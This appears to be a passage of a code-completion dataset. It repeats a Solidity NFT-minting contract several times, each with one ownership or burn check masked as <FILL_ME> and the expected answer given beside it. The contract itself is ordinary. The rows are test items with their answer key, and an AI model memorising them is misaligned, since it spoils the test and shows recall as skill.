relationBytes = abi.encodePacked(relationBytes, keccak256(abi.encode(
RELATION_TYPE_HASH,
relation.code,
relation.addr,
relation.id
)));
unchecked {
++j;
}
}
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
keccak256(relationBytes)
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
}
//
// 3. Sender check: if body.sender is specified, the body.sender must match _msgSender()
//
if (body.sender != address(0)) require(body.sender == _msgSender(), "3"); // sender lock validation
//
// 4. Start timelock check
//
require(body.start <= block.timestamp, "4"); // start time lock validation
//
// 5. End timelock check
//
require(body.end >= block.timestamp, "5"); // end time lock validation
//
// 6. Puzzle input check => the hash of the provided preimage string (input.puzzle) must match the hash (body.puzzleHash)
//
if (body.puzzleHash != 0) {
require(input.puzzle.length > 0 && keccak256(input.puzzle) == body.puzzleHash, "6"); // hash puzzle lock validation
}
//
// 7. Merkle input check => The _msgSender() must be included in the merkle tree specified by the body.merkleHash (verified using merkleproof input.merkle)
//
if (body.sendersHash != 0) {
require(verify(body.sendersHash, input.sendersProof, _msgSender()), "7a"); // senders merkle proof lock validation
}
if (body.receiversHash != 0) {
require(verify(body.receiversHash, input.receiversProof, receiver), "7b"); // receivers merkle proof lock validation
}
//
//
// A. Token storage logic => The token is actually created
//
//
//
// A.1. Set CID encoding: 0 if raw, 1 if dag-pb
// (In most cases it will be "raw" since metadata JSON files are small files and will be encoded as "raw", therefore saving gas)
//
if (body.encoding != 0) encoding[body.id] = body.encoding;
//
// A.2. Mint the token
//
_mint(receiver, body.id);
unchecked {
val+=body.value;
++i;
}
}
//
// 10. Revert everything if not enough money was sent
//
require(val == msg.value, "11"); // value lock validation
}
function burn(uint[] calldata _tokenIds) external {
}
//
// Universal tokenId engine: tokenId to CID
//
function tokenURI(uint tokenId) public view override(ERC721Upgradeable) returns (string memory) {
}
//
// Merkle proof verifier
//
function verify(bytes32 root, bytes32[] calldata proof, address account) internal pure returns (bool) {
}
//
// Royalty functions
//
function royaltyInfo(uint tokenId, uint value) external view returns (address receiver, uint256 royaltyAmount) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable) returns (bool) {
}
//
// Admin functions
//
function setWithdrawer(Withdrawer calldata _withdrawer) external onlyOwner {
}
function withdraw(uint value) external payable {
}
function setState(uint _state) external onlyOwner {
}
function setBaseURI(string calldata b) external onlyOwner {
}
function setNS(string calldata name_, string calldata symbol_) external onlyOwner {
}
error TransferFailed();
function _transfer(address to, uint256 amount) internal {
}
}
| burned[relation.id]==receiver,"8b" | 412,628 | burned[relation.id]==receiver |
"8b" | // SPDX-License-Identifier: MIT
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// cell/c0
//
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@# ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@(@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,/@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@% ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@ @@@@@@@@@&&&,,,,,,,,,,,,,,,,,,@@@@@@%@@@@@@@@@
// @@@@@@@@#@@@@@@ @@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@
// @@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,&@@@@@@@@@@@
// @@@@@@@@@@& *@@@@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@
// @@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@.................,@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@
// @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@,.................@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@/ ..............................@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ..............................@@@@@@%@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@, ..............................@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
//
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.8.9;
import "./ERC721.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/draft-EIP712Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
interface IRelation {
function burned(uint256 tokenId) external view returns (address);
function ownerOf(uint256 tokenId) external view returns (address);
function balanceOf(address account) external view returns (uint256);
}
contract C0 is Initializable, ERC721Upgradeable, OwnableUpgradeable, EIP712Upgradeable {
using ECDSAUpgradeable for bytes32;
//
// Events
//
event WithdrawerUpdated(Withdrawer withdrawer);
event StateUpdated(uint indexed state);
event BaseURIUpdated(string uri);
event NSUpdated(string name, string symbol);
bytes32 public constant RELATION_TYPE_HASH = keccak256("Relation(uint8 code,address addr,uint256 id)");
bytes32 public constant BODY_TYPE_HASH = keccak256("Body(uint256 id,uint8 encoding,address sender,address receiver,uint128 value,uint64 start,uint64 end,bytes32 sendersHash,bytes32 receiversHash,bytes32 puzzleHash,Relation[] relations)Relation(uint8 code,address addr,uint256 id)");
bytes32 private constant EMPTY_ARRAY_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // keccak256(abi.encodePacked(new bytes32[](0)))
//
// Struct declaration
//
struct Relation {
uint8 code;
address addr; // contract address
uint256 id; // tokenId/value
}
struct Body {
uint256 id;
uint128 value;
uint64 start;
uint64 end;
address sender;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
bytes32 sendersHash;
bytes32 receiversHash;
bytes32 puzzleHash;
Relation[] relations;
bytes signature;
}
struct Gift {
uint256 id;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
Relation[] relations;
}
struct Input {
address receiver;
bytes puzzle;
bytes32[] sendersProof;
bytes32[] receiversProof;
}
struct Royalty {
address receiver;
uint96 amount;
}
struct Withdrawer {
address account;
bool permanent;
}
//
// Member variables
//
mapping(uint256 => Royalty) public royalty;
mapping(uint256 => uint8) public encoding;
mapping(uint256 => address) public burned;
Withdrawer public withdrawer;
string public baseURI;
uint public state; // 0: open, 1: paused, 2: frozen
//
// Core interface functions
//
function initialize(string calldata name, string calldata symbol) initializer external {
}
//
// Allow direct receiving of funds
//
receive() external payable {}
//
// gift tokens (c0.gift.send())
//
function gift(Gift[] calldata gifts) external payable onlyOwner {
}
//
// mint tokens (c0.token.send())
//
function token(Body[] calldata bodies, Input[] calldata inputs) external payable {
require(state == 0, "0"); // cannot mint when the state is paused or frozen
uint val;
for(uint i=0; i<bodies.length;) {
Body calldata body = bodies[i];
Input calldata input = inputs[i];
//
// 1. Burned check: disallow reminting if already burned
//
require(burned[body.id] == address(0), "1"); // cannot mint if it was already burned
// Who receives the token when minted?
// if body.receiver is set (not 0) => body.receiver
// if body.receiver is NOT set => input.receiver
address receiver = (body.receiver != address(0) ? body.receiver : input.receiver);
//
// 2. Signature check
//
if (body.relations.length == 0) {
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
EMPTY_ARRAY_HASH
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
} else {
bytes memory relationBytes;
uint outgoing;
//
// Relation handling
// A relation is the token's relationship with another address.
// It can be either incoming (INPUTS) or outgoing (OUTPUTS)
//
// Inputs: decides whether the virtual machine will accept the conditions related to other addresses
// Outputs: dictates how payments will be sent out (either the mint revenue or the royalty revenue)
//
for(uint j=0; j<body.relations.length;) {
Relation memory relation = body.relations[j];
//
// relation.code :=
//
// INPUTS: input conditions
// 0: burned by sender
// 1: burned by receiver
// 2: owned by sender
// 3: owned by receiver
// 4. balance by sender
// 5. balance by receiver
//
// OUTPUTS: output transfer declarations
// 10. mint payment handling
// 11. royalty payment handling
//
// INPUT
// 0. burned by sender
if (relation.code == 0) {
if (relation.addr == address(0)) {
require(burned[relation.id] == _msgSender(), "8a"); // local burnership check for sender
} else {
require(IRelation(relation.addr).burned(relation.id) == _msgSender(), "8a"); // remote contract burnership check for sender
}
}
// 1. burned by receiver
else if (relation.code == 1) {
if (relation.addr == address(0)) {
require(burned[relation.id] == receiver, "8b"); // local burnership check for receiver
} else {
require(<FILL_ME>) // remote contract burnership check for receiver
}
}
// 2. owned by sender
else if (relation.code == 2) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == _msgSender(), "9a"); // local ownership check for sender
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == _msgSender(), "9a"); // remote contract ownership check for sender
}
}
// 3. owned by receiver
else if (relation.code == 3) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == receiver, "9b"); // local ownership check for receiver
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == receiver, "9b"); // remote contract ownership check for receiver
}
}
// 4. balance by sender
else if (relation.code == 4) {
if (relation.addr == address(0)) {
require(balanceOf(_msgSender()) >= relation.id, "10a"); // local balance check for sender
} else {
require(IRelation(relation.addr).balanceOf(_msgSender()) >= relation.id, "10a"); // remote contract balance check for sender
}
}
// 5. balance by receiver
else if (relation.code == 5) {
if (relation.addr == address(0)) {
require(balanceOf(receiver) >= relation.id, "10b"); // local balance check for receiver
} else {
require(IRelation(relation.addr).balanceOf(receiver) >= relation.id, "10b"); // remote contract balance check for receiver
}
}
// OUTPUT
// 10. Make a transfer (relation.id / 10^6 percent of msg.value) to the relation.receiver
else if (relation.code == 10) {
outgoing += relation.id;
require(outgoing <= 1e6, "10c"); // the sum of all payment split shares must not exceed 1,000,000 (1e6)
_transfer(relation.addr, msg.value * relation.id / 1e6);
}
// 11. Set EIP-2981 royalty info
else if (relation.code == 11) {
royalty[body.id] = Royalty(relation.addr, uint96(relation.id));
}
relationBytes = abi.encodePacked(relationBytes, keccak256(abi.encode(
RELATION_TYPE_HASH,
relation.code,
relation.addr,
relation.id
)));
unchecked {
++j;
}
}
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
keccak256(relationBytes)
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
}
//
// 3. Sender check: if body.sender is specified, the body.sender must match _msgSender()
//
if (body.sender != address(0)) require(body.sender == _msgSender(), "3"); // sender lock validation
//
// 4. Start timelock check
//
require(body.start <= block.timestamp, "4"); // start time lock validation
//
// 5. End timelock check
//
require(body.end >= block.timestamp, "5"); // end time lock validation
//
// 6. Puzzle input check => the hash of the provided preimage string (input.puzzle) must match the hash (body.puzzleHash)
//
if (body.puzzleHash != 0) {
require(input.puzzle.length > 0 && keccak256(input.puzzle) == body.puzzleHash, "6"); // hash puzzle lock validation
}
//
// 7. Merkle input check => The _msgSender() must be included in the merkle tree specified by the body.merkleHash (verified using merkleproof input.merkle)
//
if (body.sendersHash != 0) {
require(verify(body.sendersHash, input.sendersProof, _msgSender()), "7a"); // senders merkle proof lock validation
}
if (body.receiversHash != 0) {
require(verify(body.receiversHash, input.receiversProof, receiver), "7b"); // receivers merkle proof lock validation
}
//
//
// A. Token storage logic => The token is actually created
//
//
//
// A.1. Set CID encoding: 0 if raw, 1 if dag-pb
// (In most cases it will be "raw" since metadata JSON files are small files and will be encoded as "raw", therefore saving gas)
//
if (body.encoding != 0) encoding[body.id] = body.encoding;
//
// A.2. Mint the token
//
_mint(receiver, body.id);
unchecked {
val+=body.value;
++i;
}
}
//
// 10. Revert everything if not enough money was sent
//
require(val == msg.value, "11"); // value lock validation
}
function burn(uint[] calldata _tokenIds) external {
}
//
// Universal tokenId engine: tokenId to CID
//
function tokenURI(uint tokenId) public view override(ERC721Upgradeable) returns (string memory) {
}
//
// Merkle proof verifier
//
function verify(bytes32 root, bytes32[] calldata proof, address account) internal pure returns (bool) {
}
//
// Royalty functions
//
function royaltyInfo(uint tokenId, uint value) external view returns (address receiver, uint256 royaltyAmount) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable) returns (bool) {
}
//
// Admin functions
//
function setWithdrawer(Withdrawer calldata _withdrawer) external onlyOwner {
}
function withdraw(uint value) external payable {
}
function setState(uint _state) external onlyOwner {
}
function setBaseURI(string calldata b) external onlyOwner {
}
function setNS(string calldata name_, string calldata symbol_) external onlyOwner {
}
error TransferFailed();
function _transfer(address to, uint256 amount) internal {
}
}
| IRelation(relation.addr).burned(relation.id)==receiver,"8b" | 412,628 | IRelation(relation.addr).burned(relation.id)==receiver |
"9a" | // SPDX-License-Identifier: MIT
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// cell/c0
//
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@# ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@(@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,/@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@% ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@ @@@@@@@@@&&&,,,,,,,,,,,,,,,,,,@@@@@@%@@@@@@@@@
// @@@@@@@@#@@@@@@ @@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@
// @@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,&@@@@@@@@@@@
// @@@@@@@@@@& *@@@@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@
// @@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@.................,@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@
// @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@,.................@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@/ ..............................@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ..............................@@@@@@%@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@, ..............................@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
//
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.8.9;
import "./ERC721.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/draft-EIP712Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
interface IRelation {
function burned(uint256 tokenId) external view returns (address);
function ownerOf(uint256 tokenId) external view returns (address);
function balanceOf(address account) external view returns (uint256);
}
contract C0 is Initializable, ERC721Upgradeable, OwnableUpgradeable, EIP712Upgradeable {
using ECDSAUpgradeable for bytes32;
//
// Events
//
event WithdrawerUpdated(Withdrawer withdrawer);
event StateUpdated(uint indexed state);
event BaseURIUpdated(string uri);
event NSUpdated(string name, string symbol);
bytes32 public constant RELATION_TYPE_HASH = keccak256("Relation(uint8 code,address addr,uint256 id)");
bytes32 public constant BODY_TYPE_HASH = keccak256("Body(uint256 id,uint8 encoding,address sender,address receiver,uint128 value,uint64 start,uint64 end,bytes32 sendersHash,bytes32 receiversHash,bytes32 puzzleHash,Relation[] relations)Relation(uint8 code,address addr,uint256 id)");
bytes32 private constant EMPTY_ARRAY_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // keccak256(abi.encodePacked(new bytes32[](0)))
//
// Struct declaration
//
struct Relation {
uint8 code;
address addr; // contract address
uint256 id; // tokenId/value
}
struct Body {
uint256 id;
uint128 value;
uint64 start;
uint64 end;
address sender;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
bytes32 sendersHash;
bytes32 receiversHash;
bytes32 puzzleHash;
Relation[] relations;
bytes signature;
}
struct Gift {
uint256 id;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
Relation[] relations;
}
struct Input {
address receiver;
bytes puzzle;
bytes32[] sendersProof;
bytes32[] receiversProof;
}
struct Royalty {
address receiver;
uint96 amount;
}
struct Withdrawer {
address account;
bool permanent;
}
//
// Member variables
//
mapping(uint256 => Royalty) public royalty;
mapping(uint256 => uint8) public encoding;
mapping(uint256 => address) public burned;
Withdrawer public withdrawer;
string public baseURI;
uint public state; // 0: open, 1: paused, 2: frozen
//
// Core interface functions
//
function initialize(string calldata name, string calldata symbol) initializer external {
}
//
// Allow direct receiving of funds
//
receive() external payable {}
//
// gift tokens (c0.gift.send())
//
function gift(Gift[] calldata gifts) external payable onlyOwner {
}
//
// mint tokens (c0.token.send())
//
function token(Body[] calldata bodies, Input[] calldata inputs) external payable {
require(state == 0, "0"); // cannot mint when the state is paused or frozen
uint val;
for(uint i=0; i<bodies.length;) {
Body calldata body = bodies[i];
Input calldata input = inputs[i];
//
// 1. Burned check: disallow reminting if already burned
//
require(burned[body.id] == address(0), "1"); // cannot mint if it was already burned
// Who receives the token when minted?
// if body.receiver is set (not 0) => body.receiver
// if body.receiver is NOT set => input.receiver
address receiver = (body.receiver != address(0) ? body.receiver : input.receiver);
//
// 2. Signature check
//
if (body.relations.length == 0) {
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
EMPTY_ARRAY_HASH
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
} else {
bytes memory relationBytes;
uint outgoing;
//
// Relation handling
// A relation is the token's relationship with another address.
// It can be either incoming (INPUTS) or outgoing (OUTPUTS)
//
// Inputs: decides whether the virtual machine will accept the conditions related to other addresses
// Outputs: dictates how payments will be sent out (either the mint revenue or the royalty revenue)
//
for(uint j=0; j<body.relations.length;) {
Relation memory relation = body.relations[j];
//
// relation.code :=
//
// INPUTS: input conditions
// 0: burned by sender
// 1: burned by receiver
// 2: owned by sender
// 3: owned by receiver
// 4. balance by sender
// 5. balance by receiver
//
// OUTPUTS: output transfer declarations
// 10. mint payment handling
// 11. royalty payment handling
//
// INPUT
// 0. burned by sender
if (relation.code == 0) {
if (relation.addr == address(0)) {
require(burned[relation.id] == _msgSender(), "8a"); // local burnership check for sender
} else {
require(IRelation(relation.addr).burned(relation.id) == _msgSender(), "8a"); // remote contract burnership check for sender
}
}
// 1. burned by receiver
else if (relation.code == 1) {
if (relation.addr == address(0)) {
require(burned[relation.id] == receiver, "8b"); // local burnership check for receiver
} else {
require(IRelation(relation.addr).burned(relation.id) == receiver, "8b"); // remote contract burnership check for receiver
}
}
// 2. owned by sender
else if (relation.code == 2) {
if (relation.addr == address(0)) {
require(<FILL_ME>) // local ownership check for sender
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == _msgSender(), "9a"); // remote contract ownership check for sender
}
}
// 3. owned by receiver
else if (relation.code == 3) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == receiver, "9b"); // local ownership check for receiver
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == receiver, "9b"); // remote contract ownership check for receiver
}
}
// 4. balance by sender
else if (relation.code == 4) {
if (relation.addr == address(0)) {
require(balanceOf(_msgSender()) >= relation.id, "10a"); // local balance check for sender
} else {
require(IRelation(relation.addr).balanceOf(_msgSender()) >= relation.id, "10a"); // remote contract balance check for sender
}
}
// 5. balance by receiver
else if (relation.code == 5) {
if (relation.addr == address(0)) {
require(balanceOf(receiver) >= relation.id, "10b"); // local balance check for receiver
} else {
require(IRelation(relation.addr).balanceOf(receiver) >= relation.id, "10b"); // remote contract balance check for receiver
}
}
// OUTPUT
// 10. Make a transfer (relation.id / 10^6 percent of msg.value) to the relation.receiver
else if (relation.code == 10) {
outgoing += relation.id;
require(outgoing <= 1e6, "10c"); // the sum of all payment split shares must not exceed 1,000,000 (1e6)
_transfer(relation.addr, msg.value * relation.id / 1e6);
}
// 11. Set EIP-2981 royalty info
else if (relation.code == 11) {
royalty[body.id] = Royalty(relation.addr, uint96(relation.id));
}
relationBytes = abi.encodePacked(relationBytes, keccak256(abi.encode(
RELATION_TYPE_HASH,
relation.code,
relation.addr,
relation.id
)));
unchecked {
++j;
}
}
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
keccak256(relationBytes)
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
}
//
// 3. Sender check: if body.sender is specified, the body.sender must match _msgSender()
//
if (body.sender != address(0)) require(body.sender == _msgSender(), "3"); // sender lock validation
//
// 4. Start timelock check
//
require(body.start <= block.timestamp, "4"); // start time lock validation
//
// 5. End timelock check
//
require(body.end >= block.timestamp, "5"); // end time lock validation
//
// 6. Puzzle input check => the hash of the provided preimage string (input.puzzle) must match the hash (body.puzzleHash)
//
if (body.puzzleHash != 0) {
require(input.puzzle.length > 0 && keccak256(input.puzzle) == body.puzzleHash, "6"); // hash puzzle lock validation
}
//
// 7. Merkle input check => The _msgSender() must be included in the merkle tree specified by the body.merkleHash (verified using merkleproof input.merkle)
//
if (body.sendersHash != 0) {
require(verify(body.sendersHash, input.sendersProof, _msgSender()), "7a"); // senders merkle proof lock validation
}
if (body.receiversHash != 0) {
require(verify(body.receiversHash, input.receiversProof, receiver), "7b"); // receivers merkle proof lock validation
}
//
//
// A. Token storage logic => The token is actually created
//
//
//
// A.1. Set CID encoding: 0 if raw, 1 if dag-pb
// (In most cases it will be "raw" since metadata JSON files are small files and will be encoded as "raw", therefore saving gas)
//
if (body.encoding != 0) encoding[body.id] = body.encoding;
//
// A.2. Mint the token
//
_mint(receiver, body.id);
unchecked {
val+=body.value;
++i;
}
}
//
// 10. Revert everything if not enough money was sent
//
require(val == msg.value, "11"); // value lock validation
}
function burn(uint[] calldata _tokenIds) external {
}
//
// Universal tokenId engine: tokenId to CID
//
function tokenURI(uint tokenId) public view override(ERC721Upgradeable) returns (string memory) {
}
//
// Merkle proof verifier
//
function verify(bytes32 root, bytes32[] calldata proof, address account) internal pure returns (bool) {
}
//
// Royalty functions
//
function royaltyInfo(uint tokenId, uint value) external view returns (address receiver, uint256 royaltyAmount) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable) returns (bool) {
}
//
// Admin functions
//
function setWithdrawer(Withdrawer calldata _withdrawer) external onlyOwner {
}
function withdraw(uint value) external payable {
}
function setState(uint _state) external onlyOwner {
}
function setBaseURI(string calldata b) external onlyOwner {
}
function setNS(string calldata name_, string calldata symbol_) external onlyOwner {
}
error TransferFailed();
function _transfer(address to, uint256 amount) internal {
}
}
| ownerOf(relation.id)==_msgSender(),"9a" | 412,628 | ownerOf(relation.id)==_msgSender() |
"9a" | // SPDX-License-Identifier: MIT
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// cell/c0
//
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@# ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@(@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,/@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@% ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@
